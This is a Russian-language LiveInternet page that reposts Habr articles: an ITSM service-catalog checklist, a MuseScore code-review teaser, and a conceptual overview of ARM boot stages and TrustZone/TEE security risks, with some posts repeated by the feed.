-Поиск по дневнику

Поиск сообщений в rss_rss_hh_full

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 1

Habrahabr








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Как создать понятный пользователю каталог услуг: делаем это за 9 шагов

Среда, 27 Сентября 2017 г. 11:14 + в цитатник
it-guild сегодня в 11:14 Управление

Как создать понятный пользователю каталог услуг: делаем это за 9 шагов

    Каталог услуг неразрывно связан с понятием ITSM и является важнейшим компонентом сервисного подхода. Необходимость в его создании возникает на этапе внедрения ITSM.

    Это становится ясно из аналогий, которые приводит Шэрон Тейлор (Sharon Taylor), главный архитектор третьей редакции ITIL. Она сравнивает каталог услуг с iTunes или App Store для предприятий, онлайн-справочником и ресурсом для разработчиков одновременно. Разберемся с этой темой с помощью небольшого чеклиста.


    / Flickr / DRs Kulturarvsprojekt / CC

    Когда предприятие начинает работать с каталогом услуг, возникает вопрос о способах его составления. Чтобы разобраться с этим, рассмотрим необходимые шаги и условия.

    Шаг 1. Формирование команды


    В составлении каталога услуг, безусловно, должны принимать участие компетентные люди, знакомые с проблематикой. Важно подключить к работе IT-отдел.

    Количество людей, которые примут участие в создании каталога, напрямую зависит от размера организации и объема предоставляемых услуг. Разумеется, должен быть назначен человек или ответственная команда, которая возьмет на себя роль менеджера каталога.

    Также будет хорошо, если в состав команды войдут представитель руководства и, по крайней мере, несколько конечных пользователей. Зачастую они воспринимают задачи не так, как сотрудники IT-отдела, и оперируют другими названиями услуг. Такой подход поможет найти баланс и сделать каталог услуг понятным.

    Шаг 2. Сбор обратной связи


    Помимо общения с конечными пользователями важно расширить работу с обратной связью до конкретных бизнес-пользователей. Следует узнать запросы руководителей групп и менеджеров. Это поможет также уточнить стоимость каждой услуги.

    Шаг 3. Создание списка услуг


    Тейлор замечает, что самый простой и в то же время эффективный способ приступить к созданию сервисного каталога — собрать список уже оказываемых услуг. Проведение инвентаризации должно быть комплексным. Согласно Трою Дамулину (Troy DuMoulin), вице-президенту Pink Elephant, консалтинговой группы ITSM, это является ключом к созданию эффективного каталога. Каждая услуга должна быть указана отдельно, а после — внутри категории. Следующий этап требует составить список услуг, которые IT-отдел не предоставляет в данный момент, но собирается предоставлять в будущем.

    Теперь самое время использовать результаты сбора обратной связи и найти пересечения между возможностями и запросами. Тейлор советует не перегружать первую версию каталога и придерживаться нескольких ключевых процессов. Разумеется, исходя из конкретных бизнес-запросов. Эксперт по ITIL Майкл Скарбороу (Michael Scarborough) напоминает: «Наличие большого количества услуг в каталоге не обязательно делает его более качественным или более подходящим для бизнеса. Наличие правильного сочетания услуг в легко доступном каталоге, — это то, чего хочет бизнес».

    После составления финальной версии списка услуг следует подготовить для каждой из них интуитивно понятные описания.

    Шаг 4. Распределение ресурсов и ответственности


    Основная задача теперь — установить зависимости между выполняемой услугой и требуемыми на ее исполнение ресурсами, в том числе определение исполнителей, учет вклада сторонних поставщиков, IT-компонентов и процессов.

    На основе этого стоит определить параметры использования: уровень доступа исполнителей, возможность вносить изменения и так далее. У каждой категории услуг должен быть владелец, а также первый, второй и третий уровни поддержки с четким разграничением ответственности и полномочий.

    Шаг 5. Подготовка каталога в двух версиях


    Когда список услуг как структура готов, приходит время организовывать каталог. После формирования основы для технической версии каталога есть смысл адаптировать его под вторую важную категорию — клиентскую.

    Она содержит только информацию верхнего уровня в лаконичной форме и без технических подробностей. Важно ответить для себя на такие вопросы, как «Употребляет ли бизнес-пользователь слово «инфраструктура» в отношении служб резервного копирования?», и в соответствии с этим избавиться от путаницы в упрощенной версии.

    Что касается основной версии, как конкретно организовывать и классифицировать услуги, зависит от размера организации, потребностей конечного пользователя и — самое важное — логики. Это основа пользовательского опыта.

    Шаг 6. Контрольные тесты


    Теперь пришло время пройтись по готовому каталогу. Чтобы убедиться в его доступности, следует задействовать хотя бы одного конечного пользователя. Не стоит вовлекать слишком много людей в этот процесс, иначе не избежать знаменитой кулинарной проблемы «чем больше поваров, тем хуже бульон».

    На этом этапе важно определить несколько ключевых показателей для измерения. Например, изменение времени обработки аварийных запросов с каталогом и без него.

    Шаг 7. Публикация сервисного каталога


    Открывать общий доступ к каталогу во многих случаях лучше поэтапно. Так можно проверить работоспособность небольшого набора услуг и выявить повторяющиеся ошибки. О публикации каталога услуг должно быть объявлено заранее.

    Не лишним будет продумать стимулирующие программы для конечных пользователей. Например, можно разработать учебное пособие для работы с ним и поощрять участников к прохождению обучения. Важно объяснить, как именно каталог услуг будет им полезен.

    Шаг 8. Автоматизация


    Существуют продукты для автоматизации работы каталога. Однако Шэрон Тейлор настаивает на том, что не следует сразу же прибегать к этим инструментам. Только почувствовав уверенность в архитектуре каталога услуг и поддерживающих его процессах, предприятиям стоит выбирать подходящий программный продукт.

    Шаг 9. Поддержка каталога


    Разработка процесса для проверки и обновления каталога услуг входит в список основных этапов, так как без актуальности каталог теряет смысл. Важно своевременно добавлять и удалять услуги и уровни поддержки. Вот почему следует заранее назначить менеджера или команду, которая будет постоянно отслеживать услуги в соответствии с подготовленным графиком. Регулярное обновление и просмотр каталога IT-услуг следует проводить как минимум раз в квартал, а раз в год устраивать комплексный аудит структуры. К тому же важно продолжать проводить оценку по ключевым показателям. Так всегда будет сохраняться понимание эффективности работы каталога.

    P.S. В нашем блоге вы найдете и другие полезные статьи по управлению услугами:

    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/337828/


    Метки:  

    Обзор дефектов кода музыкального софта. Часть 1. MuseScore

    Среда, 27 Сентября 2017 г. 11:12 + в цитатник


    Программирование — занятие творческое, поэтому среди разработчиков встречается много талантливых людей, имеющих своеобразное хобби. Вопреки распространённому мнению, это не всегда программирование (ну или не только оно :D). На основе своего увлечения записью/обработкой музыки и профессиональной деятельности, я решил проверить качество кода популярных музыкальных программ с открытым исходным кодом. Первой для обзора выбрана программа для редактирования нот — MuseScore. Запасайтесь попкорном… серьёзных багов будет много!
    Читать дальше ->

    https://habrahabr.ru/post/338808/


    Метки:  

    Обзор дефектов кода музыкального софта. Часть 1. MuseScore

    Среда, 27 Сентября 2017 г. 11:12 + в цитатник


    Программирование — занятие творческое, поэтому среди разработчиков встречается много талантливых людей, имеющих своеобразное хобби. Вопреки распространённому мнению, это не всегда программирование (ну или не только оно :D). На основе своего увлечения записью/обработкой музыки и профессиональной деятельности, я решил проверить качество кода популярных музыкальных программ с открытым исходным кодом. Первой для обзора выбрана программа для редактирования нот — MuseScore. Запасайтесь попкорном… серьёзных багов будет много!
    Читать дальше ->

    https://habrahabr.ru/post/338808/


    Метки:  

    Загрузка ОС на ARM

    Среда, 27 Сентября 2017 г. 11:06 + в цитатник
    vlk77 сегодня в 11:06 Разработка

    Загрузка ОС на ARM

      Недавно попросили в двух словах рассказать серьезным людям о загрузке операционной системы на ARM и дать оценку угроз безопасности этого процесса. Вообще ARM-процессоров и вообще ОС. Вы понимаете, все ведь слышали про эти ARM, и что такое ОС тоже все знают. Желательно, на уровне квадратиков со стрелками.

      Загрузка ARM в четырех прямоугольниках — под катом.

      Сразу ограничим уровень детализации. Нас интересует, что происходит, а не как, то есть конкретные инструкции процессора оставим в стороне. Постараемся найти общее у всех процессоров и всех ОС. Поищем угрозы безопасности.

      Разновидности процессоров ARM


      Если вы знаете про ARM, то этот раздел можно смело пропустить.

      В производстве и эксплуатации сейчас встречаются процессоры ARM пяти архитектур: ARMv4, ARMv5, ARMv6, ARMv7 и ARMv8. Компания ARM дает этим архитектурам коммерческие названия, поэтому ARMv4 называется, например, ARM7, ARMv5 – ARM9, а название Cortex имеют процессоры на архитектурах ARMv6, v7, v8. Следующая таблица перечисляет основные разновидности.
      Архитектура Коммерческое название Распространенные виды Запуск Linux
      ARMv4 ARM7 ARM7TDMI Нецелесообразно
      ARMv5 ARM9 ARM926EJ-S Да
      ARMv6 ARM11 ARM1176JZF-S Да
      Cortex-M0 Cortex-M0 Нет
      ARMv7 Cortex-M Cortex-M3 Нецелесообразно
      Cortex-A Cortex-A9 Да
      Cortex-R Cortex-R4 Да
      ARMv8 Cortex-A Cortex-A53 Да

      Например, кнопочные телефоны в основном используют ARM7, а смартфоны – Cortex-A. Современные смартфоны строятся преимущественно на ARMv8, единственных 64-битных. Процессоры ARM7 и ARM9 широко применялись в различных промышленных контроллерах, сетевом оборудовании, а сейчас фокус переходит на использование в них Cortex-A. В различной бытовой технике, мелких электронных приборах, в области безопасности и т.п. применяются микроконтроллеры Cortex-M.

      Вообще все устройства ARM можно условно разбить на микроконтроллеры и Application Processor.

      • Микроконтроллеры отличаются наличием на кристалле Flash-памяти и рабочего ОЗУ. Применяются для задач относительно малой автоматизации.
      • Application Processor преимущественно пользуется внешней памятью — DDRAM и Flash. Мы их дальше будем называть просто — процессоры. Масштаб задач у них больше.

      Долгое время одни и те же архитектуры ARM7, ARM9 использовались как для построения процессоров, так и микроконтроллеров. С появлением линейки Cortex произошло разделение, и теперь микроконтроллеры называются Cortex-M, а процессоры Cortex-A и Cortex-R.

      Виды ОС


      Какие есть варианты запуска ОС:

      • на микроконтроллерах обычно запущена маленькая ОС реального времени (RTOS) или просто программа без ОС;
      • на процессорах чаще запущена ОС общего применения (Linux, Android), иногда маленькая RTOS, иногда полнофункциональная RTOS (типа vxWORKS).

      Например, в планшетах и смартфонах используется Android, iOS или вариант Linux. В телекоммуникационном оборудовании может быть Linux или один из вариантов RTOS. В более простом оборудовании может применяться RTOS или программа без ОС.

      В дальнейшем мы будем говорить только о запуске ОС (Linux, Android) или RTOS на ARM. По способу запуска “большие” RTOS попадают в одну группу с Linux, а “малые” RTOS объединяются с программами без ОС.

      Для запуска Linux хорошо подходят процессоры ARM9, ARM11, Cortex-A. Усеченную версию Linux также можно загрузить на ARM7, Cortex-M4 и Cortex-M7, но это нецелесообразно.

      Для запуска малых RTOS подходят микроконтроллеры и процессоры ARM7, ARM9, Cortex-M. В некоторых случаях для RTOS используют начальные модели Cortex-A, например, Cortex-A5. Большинство же процессоров Cortex-A столь сложны, что их возможности можно использовать только совместно с поставляемым производителем Linux/Android SDK, что и определяет выбор в пользу Linux.

      Загрузчик ОС


      С точки зрения разработчика системное ПО устройства делится на загрузчик и ОС. Основную функцию всегда выполняет программа, работающая под управлением ОС или RTOS.

      Загрузчик обеспечивает загрузку ОС и сервисные функции, такие, как:

      • проверка целостности образа ОС перед запуском;
      • обновление программ;
      • сервисные функции, функции первоначальной инициализации устройства;
      • самотестирование.

      В случае RTOS загрузчик зачастую пишется разработчиком устройства и представляет собой небольшую специализированную программу. В случае с ОС общего применения широко применяются загрузчики с открытым исходным кодом, например, u-boot.

      Таким образом, с точки зрения разработчика изделия запуск ОС выглядит следующим образом:


      Здесь знаком // отмечен момент подачи питания или сброса процессора. Такой простой способ запуска был у некоторых процессоров ARM7. В последовавших за ними версиях процесс запуска в реальности сложнее, чем на приведенной схеме, но для разработчика конечного решения это обычно не существенно.

      Схема “Загрузчик-ОС” очень удобна из практических соображений, ведь загрузчик берет на себя всю низкоуровневую работу:

      • инициализирует память перед запуском ОС и загружает ядро ОС в память;
      • инициализирует часть периферии;
      • часто реализует хранение двух образов ОС: текущего и резервного, или образа для восстановления;
      • контролирует образ ОС перед загрузкой;
      • дает сервисный режим работы даже при испорченном образе ОС.

      Например, для запуска Linux на ARM загрузчик должен инициализировать память, хотя бы один терминал, загрузить образ ядра и Device Tree в память и передать управление на ядро. Все это описано в <https://www.kernel.org/doc/Documentation/arm/Booting>. Код инициализации ядра Linux не будет делать сам то, что должен делать загрузчик.

      В то же время, загрузчик зачастую слабо защищен или не защищен вовсе. В большинстве домашних роутеров достаточно открыть крышку и подключиться к разъему UART, чтобы войти в меню управления загрузчиком. В телекоммуникационном оборудовании более высокого класса вход в меню загрузчика зачастую возможен по недокументированной комбинации клавиш или нажатой кнопке в момент включения устройства. Иными словами, зачастую загрузчик не защищен от локального нарушителя.

      Рассмотрим работу загрузчика на примере u-boot, загружающего Linux, по шагам.

      1. После включения или сброса процессор загружает образ u-boot, хранимый в Flash-памяти, в ОЗУ и передает управление на первую команду этого образа.
      2. u-boot инициализирует DDRAM.
      3. u-boot инициализирует драйверы загрузочного носителя (ЗН), например, eMMC, NAND Flash.
      4. u-boot читает с ЗН область переменных конфигураций. В конфигурации задан скрипт загрузки, который u-boot далее исполняет.
      5. u-boot выводит в консоль предложение прервать процесс загрузки и сконфигурировать устройство. Если за 2-3 секунды пользователь этого не сделает, запускается скрипт загрузки.
      6. Иногда скрипт начинается с поиска подходящего образа ОС для загрузки на всех доступных носителях. В других случаях ЗН задается в скрипте жестко.
      7. Скрипт загружает с ЗН в DDRAM образ ядра Linux (zImage), файл Device Tree с параметрами ядра (*.dtb).
      8. Дополнительно скрипт может загрузить в DDRAM образ initrd – маленькой файловой системы с необходимыми для старта драйверами устройств. Современные дистрибутивы Linux иногда используют initrd, а иногда – нет.
      9. Разместив загруженные 2 или 3 файла в памяти, скрипт передает управление на первую команду образа zImage (ядро Linux).
      10. zImage состоит из распаковщика и сжатого образа ядра. Распаковщик развертывает ядро в памяти, и загрузка ОС начинается.

      Запуск загрузчика – предзагрузчик


      Однако в реальности почти никогда не бывает, чтобы команды загрузчика выполнялись первыми после включения или сброса процессора. Это еще было на процессорах ARM7, но почти не встречалось далее.

      Любое ядро процессора ARM при сбросе начинает исполнение с адреса 0, где записан вектор “reset”. Старые серии процессоров буквально начинали загружаться с внешней памяти, отображенной по нулевому адресу, и тогда первая команда процессора была командной загрузчика. Однако для такой загрузки подходит только параллельная NOR Flash или ROM. Эти типы памяти работают очень просто – при подаче адреса они выдают данные. Характерный пример параллельной NOR Flash – микросхема BIOS в персональных компьютерах.

      В современных системах используются другие виды памяти, потому что они дешевле, а объем больше. Это NAND, eMMC, SPI/QSPI Flash. Эти типы памяти уже не работают по принципу: подал адрес — читаешь данные, а значит, для прямого исполнения команд из них не подходят. Даже для простого чтения тут требуется написать драйвер, и мы имеем проблему «курицы и яйца»: драйвер нужно откуда-то заранее загрузить.

      По этой причине в современные процессоры ARM интегрировано ПЗУ с предзагрузчиком. ПЗУ отображено в памяти процессора на адрес 0, и именно с него начинает исполнение команд процессор.

      В задачи предзагрузчика входят следующие:

      • определение конфигурации подключенных устройств;
      • определение загрузочного носителя (ЗН);
      • инициализация устройств и ЗН;
      • чтение загрузчика с ЗН;
      • передача управления загрузчику.

      Конфигурация предзагрузчика обычно устанавливается одним из двух способов:

      • схемотехнически, подключением определенных выводов процессора к земле или шине питания;
      • записывается в однократно-программируемую память процессора на этапе производства.

      В целом почти всегда есть возможность задать единственный вариант загрузки или основной и несколько альтернативных. При этом в числе альтернативных может быть первичная загрузка через USB или последовательный порт, что очень удобно при первоначальной инициализации на производстве.

      Подобный предзагрузчик устанавливается как в процессорах ARM, таких, как Cortex-A, так и в микроконтроллерах, даже таких маленьких, как Cortex-M0. Вместе с предзагрузчиком процедура запуска ОС выглядит так:

      Анализ угроз на этом этапе


      Исходный код предзагрузчика пишется производителем процессора, а не компанией ARM, является частью микросхемы как продукта компании-производителя и защищен авторским правом. Например, в процессорах ARM компаний Atmel и NXP предзагрузчики написаны, соответственно, Atmel и NXP.

      В некоторых случаях предзагрузчик можно прочитать из ROM и проанализировать, но иногда доступ к нему ограничен. Например, предзагрузчик процессора серии Psoc4000 компании Cypress был закрыт несколькими слоями защиты (но был взломан талантливым хакером).

      Использования предзагрузчика в большинстве сценариев избежать нельзя. Можно рассматривать его как вариант BIOS, которого в ARM-системах нет.

      Скрытый текст
      Вообще-то, у ARMv8-A есть ARM Trusted Firmware, это системное ПО, отвечающее, например, за управление питанием (PSCI). Вот этот код можно считать BIOS для ARMv8. У ARMv7 и ранее такого стандартного ПО нет.

      Сам по себе предзагрузчик в ROM несет в себе угрозу нарушения порядка загрузки и выполнения произвольного кода. Но после того как управление передано загрузчику ОС, предзагрузчик уже безвреден. Мы можем просто не передавать ему управление, перенастроить все обработчики прерываний и так далее.

      В некоторые небольшие микроконтроллеры производители интегрируют в ROM-библиотеки для работы с периферийными устройствами, которые требуется вызывать на протяжении всей работы микроконтроллера. В этом случае системное ПО (загрузчик и ОС) само периодически передает управление куда-то в область предзагрузчика, и схема передачи управления получается следующей:

      Это в общем случае небезопасно, но встречается только в некоторых микроконтроллерах на архитектуре ARM. На таких микроконтроллерах обычно запускаются программы без ОС или малые RTOS, и дизайнер системы может оценить риски.

      Загрузка с TrustZone


      В процессоры ARM Cortex-A и Cortex-R встраивается технология TrustZone. Эта технология позволяет на аппаратном уровне выделить два режима исполнения: Secure (Безопасный) и Non-Secure (Гостевой).

      Эти процессоры в основном нацелены на рынок смартфонов и планшетных компьютеров, и TrustZone используется для создания в режиме Secure доверенной “песочницы” для исполнения кода, связанного с криптографией, DRM, хранением пользовательских данных.

      В режиме Secure при этом запускается специальная ОС, называемая в общем случае TEE (Trusted Execution Environment, доверенная среда исполнения), а нормальная ОС, такая, как Linux, Android, iOS, запускается в режиме Non-Secure. При этом права доступа к некоторым устройствам ограничены для нормальной ОС, поэтому ее еще называют гостевой ОС.

      Из-за наложенных ограничений гостевая ОС вынуждена время от времени вызывать функции TEE для исполнения некоторых операций. TEE продолжает существовать параллельно с гостевой ОС все время, и гостевая ОС не может ничего с этим поделать.

      Например, гостевая ОС использует функции TEE для:

      • включения и выключения ядер процессора (в ARMv8-A это происходит через PSCI — часть ARM Trusted Firmware, а в ARMv7 — по-разному для каждого производителя процессоров);
      • хранения ключей, данных банковских карт и т.п.;
      • хранения ключей полнодискового шифрования;
      • операций с криптографией;
      • отображения DRM-контента.

      При этом, с точки зрения безопасности, на время таких вызовов управление передается в неизвестный нам, непроверенный код. Мы не можем однозначно сказать, что делают Samsung KNOX или QSEE от Qualcomm.

      Почему же разработчики систем соглашаются на такой режим функционирования? В процессоры с поддержкой TrustZone встроен и механизм Secure Boot в том или ином виде.

      С Secure Boot предзагрузчик проверяет подпись загружаемого образа с помощью прошитого на этапе производства открытого ключа. Таким образом, гарантируется, что загружен будет только подписанный образ. Это функция безопасности.

      То есть загрузка ОС становится следующей:

      1. стартует предзагрузчик в ROM. Он загружает ключи для проверки подписи TEE из ROM;
      2. предзагрузчик загружает в память образ TEE, проверяет подпись. Если проверка прошла успешно, запускается TEE;
      3. TEE настраивает режимы Secure и Non-Secure. Далее TEE загружает основной загрузчик ОС и переходит на него в режиме Non-Secure. Сам TEE остается в режиме Secure и ждет;
      4. загрузчик основной ОС загружает ОС как обычно;
      5. ОС вынуждена время от времени вызывать функции TEE для выполнения некоторых задач.

      Однако производитель, как правило, поставляет подписанные образы загрузчика и TEE в составе SDK для процессора и поставляет процессоры, уже “зашитые” ключом производителя. В этом случае предзагрузчик из ROM не станет выполнять любой загрузчик, если он не подписан производителем. Все основные процессоры для смартфонов сейчас поставляются уже “прошитыми” под исполнение собственного TEE перед исполнением загрузчика ОС.

      Далее действует лень — c TEE все работает, а без TEE даже не запускается. Разработчики используют SDK с TEE, вызывают закрытый бинарный код из ядра Linux и не волнуются.

      Как проверить свой проект на обращения к TrustZone


      Может даже показаться, что всей этой TrustZone не существует, по крайней мере, в вашей конкретной разработке. Проверить это совсем несложно.

      Дело в том, что все процессоры с TrustZone стартуют в режиме Secure, а только потом переключаются в Normal. Если ваша ОС запущена в режиме Normal, то какая-то Secure OS (TEE) существует в системе и перевела ее в этот режим.

      Лакмусовой бумажкой является обращение к TEE для включения кэш-памяти 2-го уровня. По какой-то причине архитектура ARM не позволяет этого делать из Normal World. Поэтому для включения кэша ядру ОС потребуется сделать хоть один вызов к TrustZone. Делается это единственной командой: smc #0, и вы можете поискать ее сами в ядре Linux или Android.

      Разумеется, мы и сами поискали, и нашли такие вызовы в коде поддержки ряда процессоров Qualcomm, Samsung, Mediatek, Rockchip, Spreadtrum, HiSilicon, Broadcom, Cavium.

      Загрузка ARM Cortex-A и анализ угроз


      Итак, обещанный процесс загрузки ОС на ARM (здесь — Cortex-A) в четыре блока:

      На схеме пунктиром обозначен путь обращения из ядра ОС в TEE.

      В двух блоках — неизвестный нам код. Посмотрим, чем это грозит.

      Технически, любой из компонентов системного ПО может содержать ошибки, намеренные закладки и так далее. Однако в большинстве случаев загрузчик, ОС и системное ПО можно проверить, изучив исходные коды. Сконцентрируемся на возможных угрозах, исходящих от предзагрузчика и TEE, исходные коды к которым закрыты.

      Предзагрузчик работает на самом раннем этапе, когда схема подключения к процессору различных периферийных устройств еще не известна, никакие коммуникационные устройства (WiFi, 3G и т.д.) не настроены, коммуникационные протоколы не работают. При этом предзагрузчик – небольшая программа, с размером кода порядка нескольких десятков килобайт, и сложно представить размещение в нем полных стеков протоколов или серьезной эвристики по определению подключенных устройств. Поэтому предзагрузчик вряд ли таит в себе серьезные закладки, связанные со слежкой, передачей данных и т.п.

      Гораздо более интересной точкой атаки является TEE, так как его функции вызываются в процессе работы ОС, когда все периферийные устройства работают, а коммуникационные протоколы настроены. Создание шпионской закладки в коде TEE позволяет практически неограниченно следить за пользователем СВТ.

      В небольшом исследовании мы показали реализуемость закладки в TEE, незаметно перехватывающей системные вызовы ОС Linux. Для активации закладки нужно только одно обращение из ядра Linux в TEE (например, то самое, для кэша второго уровня), после чего система становится полностью управляемой. Это позволяет:

      • контролировать чтение и запись файлов, модифицировать данные «на лету»;
      • перехватывать пользовательский ввод, причем введенные символы перехватываются даже с экранной клавиатуры;
      • незаметно внедрять свои данные при коммуникации с удаленными серверами, в том числе по протоколу https, маскируя передачу шпионской информации под обычный зашифрованный Web-трафик.

      Несомненно, выявленные возможности – только вершина айсберга, и создание закладок не было целью исследования.

      Выводы


      Мы рассмотрели процесс загрузки различных микроконтроллеров и процессоров ARM.

      У микроконтроллеров наиболее уязвимым местом в процессе загрузки является загрузчик ОС.

      Современные процессоры ARM Cortex-A включают в себя TrustZone — и от этого никуда не уйти. TrustZone предполагает запуск перед ОС доверенной среды исполнения TEE.

      TEE является самой уязвимой точкой в процессе загрузки ОС на ARM Cortex-A, потому что обращения к TEE приводят к выполнению закрытого системного кода, известного производителю, но скрытого от нас.

      Без контроля над TEE невозможно обеспечить безопасность и доверенность исполнения любой ОС на ARM Cortex-A.
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338806/


      Загрузка ОС на ARM

      Среда, 27 Сентября 2017 г. 11:06 + в цитатник
      vlk77 сегодня в 11:06 Разработка

      Загрузка ОС на ARM

        Недавно попросили в двух словах рассказать серьезным людям о загрузке операционной системы на ARM и дать оценку угроз безопасности этого процесса. Вообще ARM-процессоров и вообще ОС. Вы понимаете, все ведь слышали про эти ARM, и что такое ОС тоже все знают. Желательно, на уровне квадратиков со стрелками.

        Загрузка ARM в четырех прямоугольниках — под катом.

        Сразу ограничим уровень детализации. Нас интересует, что происходит, а не как, то есть конкретные инструкции процессора оставим в стороне. Постараемся найти общее у всех процессоров и всех ОС. Поищем угрозы безопасности.

        Разновидности процессоров ARM


        Если вы знаете про ARM, то этот раздел можно смело пропустить.

        В производстве и эксплуатации сейчас встречаются процессоры ARM пяти архитектур: ARMv4, ARMv5, ARMv6, ARMv7 и ARMv8. Компания ARM дает этим архитектурам коммерческие названия, поэтому ARMv4 называется, например, ARM7, ARMv5 – ARM9, а название Cortex имеют процессоры на архитектурах ARMv6, v7, v8. Следующая таблица перечисляет основные разновидности.
        Архитектура Коммерческое название Распространенные виды Запуск Linux
        ARMv4 ARM7 ARM7TDMI Нецелесообразно
        ARMv5 ARM9 ARM926EJ-S Да
        ARMv6 ARM11 ARM1176JZF-S Да
        Cortex-M0 Cortex-M0 Нет
        ARMv7 Cortex-M Cortex-M3 Нецелесообразно
        Cortex-A Cortex-A9 Да
        Cortex-R Cortex-R4 Да
        ARMv8 Cortex-A Cortex-A53 Да

        Например, кнопочные телефоны в основном используют ARM7, а смартфоны – Cortex-A. Современные смартфоны строятся преимущественно на ARMv8, единственных 64-битных. Процессоры ARM7 и ARM9 широко применялись в различных промышленных контроллерах, сетевом оборудовании, а сейчас фокус переходит на использование в них Cortex-A. В различной бытовой технике, мелких электронных приборах, в области безопасности и т.п. применяются микроконтроллеры Cortex-M.

        Вообще все устройства ARM можно условно разбить на микроконтроллеры и Application Processor.

        • Микроконтроллеры отличаются наличием на кристалле Flash-памяти и рабочего ОЗУ. Применяются для задач относительно малой автоматизации.
        • Application Processor преимущественно пользуется внешней памятью — DDRAM и Flash. Мы их дальше будем называть просто — процессоры. Масштаб задач у них больше.

        Долгое время одни и те же архитектуры ARM7, ARM9 использовались как для построения процессоров, так и микроконтроллеров. С появлением линейки Cortex произошло разделение, и теперь микроконтроллеры называются Cortex-M, а процессоры Cortex-A и Cortex-R.

        Виды ОС


        Какие есть варианты запуска ОС:

        • на микроконтроллерах обычно запущена маленькая ОС реального времени (RTOS) или просто программа без ОС;
        • на процессорах чаще запущена ОС общего применения (Linux, Android), иногда маленькая RTOS, иногда полнофункциональная RTOS (типа vxWORKS).

        Например, в планшетах и смартфонах используется Android, iOS или вариант Linux. В телекоммуникационном оборудовании может быть Linux или один из вариантов RTOS. В более простом оборудовании может применяться RTOS или программа без ОС.

        В дальнейшем мы будем говорить только о запуске ОС (Linux, Android) или RTOS на ARM. По способу запуска “большие” RTOS попадают в одну группу с Linux, а “малые” RTOS объединяются с программами без ОС.

        Для запуска Linux хорошо подходят процессоры ARM9, ARM11, Cortex-A. Усеченную версию Linux также можно загрузить на ARM7, Cortex-M4 и Cortex-M7, но это нецелесообразно.

        Для запуска малых RTOS подходят микроконтроллеры и процессоры ARM7, ARM9, Cortex-M. В некоторых случаях для RTOS используют начальные модели Cortex-A, например, Cortex-A5. Большинство же процессоров Cortex-A столь сложны, что их возможности можно использовать только совместно с поставляемым производителем Linux/Android SDK, что и определяет выбор в пользу Linux.

        Загрузчик ОС


        С точки зрения разработчика системное ПО устройства делится на загрузчик и ОС. Основную функцию всегда выполняет программа, работающая под управлением ОС или RTOS.

        Загрузчик обеспечивает загрузку ОС и сервисные функции, такие, как:

        • проверка целостности образа ОС перед запуском;
        • обновление программ;
        • сервисные функции, функции первоначальной инициализации устройства;
        • самотестирование.

        В случае RTOS загрузчик зачастую пишется разработчиком устройства и представляет собой небольшую специализированную программу. В случае с ОС общего применения широко применяются загрузчики с открытым исходным кодом, например, u-boot.

        Таким образом, с точки зрения разработчика изделия запуск ОС выглядит следующим образом:


        Здесь знаком // отмечен момент подачи питания или сброса процессора. Такой простой способ запуска был у некоторых процессоров ARM7. В последовавших за ними версиях процесс запуска в реальности сложнее, чем на приведенной схеме, но для разработчика конечного решения это обычно не существенно.

        Схема “Загрузчик-ОС” очень удобна из практических соображений, ведь загрузчик берет на себя всю низкоуровневую работу:

        • инициализирует память перед запуском ОС и загружает ядро ОС в память;
        • инициализирует часть периферии;
        • часто реализует хранение двух образов ОС: текущего и резервного, или образа для восстановления;
        • контролирует образ ОС перед загрузкой;
        • дает сервисный режим работы даже при испорченном образе ОС.

        Например, для запуска Linux на ARM загрузчик должен инициализировать память, хотя бы один терминал, загрузить образ ядра и Device Tree в память и передать управление на ядро. Все это описано в <https://www.kernel.org/doc/Documentation/arm/Booting>. Код инициализации ядра Linux не будет делать сам то, что должен делать загрузчик.

        В то же время, загрузчик зачастую слабо защищен или не защищен вовсе. В большинстве домашних роутеров достаточно открыть крышку и подключиться к разъему UART, чтобы войти в меню управления загрузчиком. В телекоммуникационном оборудовании более высокого класса вход в меню загрузчика зачастую возможен по недокументированной комбинации клавиш или нажатой кнопке в момент включения устройства. Иными словами, зачастую загрузчик не защищен от локального нарушителя.

        Рассмотрим работу загрузчика на примере u-boot, загружающего Linux, по шагам.

        1. После включения или сброса процессор загружает образ u-boot, хранимый в Flash-памяти, в ОЗУ и передает управление на первую команду этого образа.
        2. u-boot инициализирует DDRAM.
        3. u-boot инициализирует драйверы загрузочного носителя (ЗН), например, eMMC, NAND Flash.
        4. u-boot читает с ЗН область переменных конфигураций. В конфигурации задан скрипт загрузки, который u-boot далее исполняет.
        5. u-boot выводит в консоль предложение прервать процесс загрузки и сконфигурировать устройство. Если за 2-3 секунды пользователь этого не сделает, запускается скрипт загрузки.
        6. Иногда скрипт начинается с поиска подходящего образа ОС для загрузки на всех доступных носителях. В других случаях ЗН задается в скрипте жестко.
        7. Скрипт загружает с ЗН в DDRAM образ ядра Linux (zImage), файл Device Tree с параметрами ядра (*.dtb).
        8. Дополнительно скрипт может загрузить в DDRAM образ initrd – маленькой файловой системы с необходимыми для старта драйверами устройств. Современные дистрибутивы Linux иногда используют initrd, а иногда – нет.
        9. Разместив загруженные 2 или 3 файла в памяти, скрипт передает управление на первую команду образа zImage (ядро Linux).
        10. zImage состоит из распаковщика и сжатого образа ядра. Распаковщик развертывает ядро в памяти, и загрузка ОС начинается.

        Запуск загрузчика – предзагрузчик


        Однако в реальности почти никогда не бывает, чтобы команды загрузчика выполнялись первыми после включения или сброса процессора. Это еще было на процессорах ARM7, но почти не встречалось далее.

        Любое ядро процессора ARM при сбросе начинает исполнение с адреса 0, где записан вектор “reset”. Старые серии процессоров буквально начинали загружаться с внешней памяти, отображенной по нулевому адресу, и тогда первая команда процессора была командной загрузчика. Однако для такой загрузки подходит только параллельная NOR Flash или ROM. Эти типы памяти работают очень просто – при подаче адреса они выдают данные. Характерный пример параллельной NOR Flash – микросхема BIOS в персональных компьютерах.

